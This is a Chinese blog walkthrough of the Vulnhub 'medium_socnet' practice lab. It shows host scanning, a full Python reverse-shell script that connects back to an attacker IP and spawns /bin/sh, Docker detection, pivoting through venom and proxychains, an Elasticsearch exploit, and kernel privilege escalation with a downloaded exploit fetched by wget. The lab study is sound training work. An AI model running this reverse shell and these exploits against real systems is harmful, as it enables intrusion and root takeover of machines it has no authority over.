medium_socnet靶场

1.主机发现

arp-scan -l
nmap -p 1-65535 -A 192.168.128.140
发现的22   5000端口
通过服务级别的探测
nmap -p22,5000 -sV 192.168.128.140

2.漏洞发现

发现一个信息:说明服务使用python的脚本编写
Werkzeug httpd 0.14.1 (Python 2.7.15)
知道一个网页,发现不到信息尝试进行目录扫描,使用工具dirb或者dirsearch
dirsearch -u http://192.168.128.140:5000
dirb http://192.168.128.140:5000

3.利用漏洞

这里是猜测是python代码利用点了,尝试python反弹shell的方法,kali监听nc -lvvp 4444

import socket,os,subprocess
RHOST='192.168.128.141'  # Change it
RPORT=6666  # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # 创建一个TCP-socket对象
s.connect((RHOST,RPORT))   # 连接攻击者
os.dup2(s.fileno(),0)    # 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])  # 创建子进程调用SHELL

监听成功了就是root权限,显然有坑。这里有个Dockerfile,我们是处在docker环境中的,那么如何验证我们在docker容器中呢?

ls /.dockerenv
/proc/1/cgroup
cat /proc/1/cgroup

/proc是一个存储进程的文件夹

/proc/1 指的是操作系统加载时第一个进程,我们查看后可以发现docker,并且可以获取docker镜像的hash

怎么突破docker的环境呢?

通过命令ip a 或者ifconfig 知道它所在的docker的ip,这可以理解为是docker容器所处的内网网段

 

4内网的主机发现

内网地址很多,不可能一个一个去ping,,直接使用脚本语言去ping

for i in $(seq 10); do ping -c 1 172.17.0.$i;done

本地是172.17.0.3,所以还有 .1 .2

5.隧道代理

因为内网环境,正常来说是不能直接使用kali的工具进行探测,因为根本没法通信

方法:使用venom工具

链接:https://pan.baidu.com/s/1sKmwhlW5kRR32Ri_KOqf2A
提取码:jj7c

将工具上传到靶机上面,靶机是什么版本的就上传什么版本的客户端kali本地是服务端,

本地使用开启http服务,用靶机下载文件

python3 -m http.server 80

kali服务端开启监听端口:

 

靶机(客户端):

 

 

show显示当前代理节点,goto 1 进入刚才连接的靶机阶段,可以通过此代码与靶机的内网环境进行数据传输

创建好代理后,我们通过proxychains这个软件连接代理,使用它之前需要进行一些设置:输入vi /etc/proxychains4.conf,修改socks代理的端口

socks5 127.0.0.1 1080

6.横向渗透

使用任何命令都需要加上proxychains nmap -Pn -sT 172.17.0.1

 

proxychains nmap 172.17.0.1-3 批量检测

浏览器想要访问内网,需要设置:访问172.17.0.1发现是一样的。说明了172.17.0.1就是192.168.128.140

 

对172.17.0.2扫描的结果:proxychains nmap -Pn -sT 172.17.0.2

对服务的扫描:proxychains nmap -Pn -sT -p9200 -sV 172.17.0.2

结果:9200/tcp open http Elasticsearch REST API 1.4.2 (name: Captain Omen; cluster: elasticsearch; Lucene 4.10.2)

使用msf的search功能,searchsploit Elasticsearch:查找利用工具

cp /usr/share/exploitdb/exploits/linux/remote/36337.py  .

代码使用的python2 编写,执行脚本:

proxychains python2 36337.py 192.168.128.140

获得的新的root权限:同样处于容器中:查看password文件,解密就是 john 1337hack

经过尝试:只有john账号可以正常登录:ssh john@192.168.128.140

登录:无sudo权限

7.提权

目标系统的版本3.13

searchsploit linux 3.13

找到了符合版本的exp,注意:凡是使用exp前,都需要查看exp的内容,.c 的源代码,需要进行编译,这里靶机是无编译环境的,尝试本地编译上传运行。

在37292.c 当中我们可以看到,定义了一个变量调用了system函数,通过函数执行了一条命令,而这条系统命令当中又再次调用了gcc生成一个动态链接库进行使用。了解到这一点后,我们就理清楚了,即使我们在本地进行编译后生成的二进制文件拿到宿主机上去运行,运行的时候它依旧会出错,那么怎么办呢?

比较方便的是直接在kali当中找到这个生成的二进制文件,然后直接修改源代码,让程序执行到这里的时候不再执行编译,直接调用二进制文件。

要执行这个文件还需要一个已经编译生成好的二进制库文件,寻找文件名为ofs-lib.so的动态链接库,,直接使用locate ofs-lib.so对文件进行定位,把这个库文件也依旧拷贝到当前目录下

然后通过wget把两个文件都放到john的/tmp目录下面,执行成功就是root权限。

gcc -o exp 37292.c

python3 -m http.server 80 开启服务

靶机下载文件wget http://192.168.128.141/exp

wget http://192.168.128.141/ofs-lib.so

靶机进入目录执行文件:

chmod +x exp

./exp

参考链接:Vulnhub | Social Network 渗透靶机 狐狸教程 (freeaihub.com)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值